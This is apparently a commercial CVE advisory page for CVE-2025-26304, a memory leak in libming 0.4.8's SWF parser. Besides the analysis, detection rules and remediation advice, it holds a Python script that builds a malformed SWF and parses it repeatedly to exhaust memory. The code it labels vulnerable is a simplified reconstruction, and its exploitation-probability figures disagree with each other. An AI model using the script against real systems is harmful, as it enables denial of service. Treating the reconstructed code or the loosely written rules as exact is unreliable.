☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H 🐛 CWE-401
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26304

CVE-2025-26304 Memory Leak in Libming
📅 PUBLISHED: 2025-02-20 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: = 0.4.8
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26304 identifies a memory leak vulnerability in the parseSWF_EXPORTASSETS function within util/parser.c of libming version 0.4.8. This flaw can lead to resource exhaustion over time, potentially causing a denial of service (DoS) condition. The vulnerability is classified as a CWE-401 (Improper Release of Memory Before Removing Last Reference). No public proof-of-concept (PoC) or patch is currently available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the libming library, which is a C-based library used for parsing and manipulating SWF (Shockwave Flash) files. It is not an NPM, PyPI, Go, or Ruby package. However, any application or system that integrates libming for SWF processing is potentially affected. Organizations should audit their software supply chain for dependencies on libming v0.4.8.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (memory leak leading to DoS), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Local (L) – requires local access to trigger the parsing.
  • Attack Complexity (AC): Low (L) – the function is directly callable.
  • Privileges Required (PR): None (N) – no special privileges needed.
  • User Interaction (UI): Required (R) – user must open a malicious SWF file.
  • Scope (S): Unchanged (U) – the leak affects the same component.
  • Confidentiality (C): None (N) – no data exposure.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): High (H) – memory exhaustion can crash the service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and local access, but can lead to denial of service.

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_EXPORTASSETS function in util/parser.c of libming v0.4.8. This function is responsible for parsing the ExportAssets tag within SWF files. The memory leak occurs when the function fails to properly free allocated memory for certain data structures under specific conditions, such as when encountering malformed or unexpected tag data.

Technical Details:

  • The function allocates memory for an array of export entries.
  • If an error occurs during parsing (e.g., invalid tag length, unexpected end of data), the function returns early without freeing the previously allocated memory.
  • Over repeated parsing of malicious SWF files, this leads to cumulative memory consumption, eventually exhausting system resources.

Root Cause: Missing free() calls in error handling paths within parseSWF_EXPORTASSETS.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is identified in libming v0.4.8. A hypothetical patch would involve adding proper memory deallocation in error paths.

Vulnerable Code (libming v0.4.8):

// util/parser.c (simplified)
void parseSWF_EXPORTASSETS(SWFOutput out, SWFInput input) {
    int count = SWFInput_readUI16(input);
    struct SWF_EXPORTASSET *assets = malloc(count * sizeof(struct SWF_EXPORTASSET));
    for (int i = 0; i < count; i++) {
        // ... parsing logic ...
        if (error_condition) {
            // Missing free(assets) before return
            return;
        }
    }
    // ... success path ...
    free(assets);
}

Patched Code (Hypothetical):

void parseSWF_EXPORTASSETS(SWFOutput out, SWFInput input) {
    int count = SWFInput_readUI16(input);
    struct SWF_EXPORTASSET *assets = malloc(count * sizeof(struct SWF_EXPORTASSET));
    if (!assets) return;
    for (int i = 0; i < count; i++) {
        // ... parsing logic ...
        if (error_condition) {
            free(assets);  // Added free
            return;
        }
    }
    // ... success path ...
    free(assets);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Trigger memory leak to cause denial of service.

Lab Setup:

  1. Install libming v0.4.8 on a test system.
  2. Create a malicious SWF file with a crafted ExportAssets tag that causes an early return in parseSWF_EXPORTASSETS.
  3. Use a script to repeatedly parse the file using a tool like swftophp or listswf.

Example Script (Python):

import subprocess
import os

malicious_swf = "malicious.swf"
# Generate a malformed SWF file (simplified)
with open(malicious_swf, "wb") as f:
    # SWF header + ExportAssets tag with invalid data
    f.write(b'\x46\x57\x53')  # FWS
    f.write(b'\x0a\x00\x00\x00')  # version 10, file length
    f.write(b'\x40\x00\x00\x00')  # frame size
    f.write(b'\x00\x00\x00\x00')  # frame rate, frame count
    # Tag: ExportAssets (tag type 56) with invalid length
    f.write(b'\x38\x00\x02\x00')  # tag type 56, length 2, count 0 (invalid)

# Repeatedly parse to trigger memory leak
for _ in range(1000):
    subprocess.run(["./swftophp", malicious_swf], capture_output=True)

Expected Outcome: System memory usage increases over time, potentially leading to OOM (Out of Memory) killer or service crash.

Blue Team (Detection & Defense)

Detection:

  • Monitor memory usage of processes using libming.
  • Look for repeated crashes or high memory consumption in SWF parsing tools.

Defense:

  • Restrict execution of untrusted SWF files.
  • Use memory monitoring tools to alert on abnormal memory growth.
  • Apply resource limits (e.g., cgroups) to parsing processes.

Indicators of Compromise (IOCs)

  • File Hashes (Malicious SWF): (None publicly available)
  • Process Anomalies: High memory usage by swftophp, listswf, or other libming-based tools.
  • Log Entries: Out-of-memory errors in system logs (e.g., dmesg showing OOM killer activity).
  • Network: No network indicators; attack is local.

Detection Engineering

YARA Rule

rule CVE_2025_26304_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files crafted to trigger memory leak in libming parseSWF_EXPORTASSETS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26304"
    strings:
        $export_assets_tag = { 38 ?? ?? ?? }  // Tag type 56 (0x38) with variable length
        $invalid_count = { 00 00 }  // Count field set to 0 or invalid
    condition:
        $export_assets_tag and $invalid_count
}

Sigma Rule

title: Memory Leak via Malicious SWF File (CVE-2025-26304)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects high memory consumption by libming-based processes, indicating potential exploitation of CVE-2025-26304.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/swftophp'
            - '/listswf'
            - '/swfrender'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: Image
          function: avg(memory_usage)
          condition: gt 500MB
falsepositives:
    - Legitimate processing of large SWF files
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26304 - Potential SWF Memory Leak Exploit"; flow:to_server; content:"|46 57 53|"; offset:0; depth:3; content:"|38|"; distance:0; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Disable SWF file processing on critical systems if not required.
  2. Monitor: Implement memory usage monitoring for libming processes.
  3. Restrict: Use application whitelisting to prevent execution of untrusted SWF files.

Long-term Fix:

  • Await an official patch from the libming project.
  • Consider migrating to alternative SWF parsing libraries that are actively maintained.
  • Apply resource limits (e.g., ulimit -v) to limit memory consumption per process.

Workaround:

  • If source code is available, manually add free() calls in error paths of parseSWF_EXPORTASSETS (as shown in the patched code section).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

libming
ming library
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26304/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.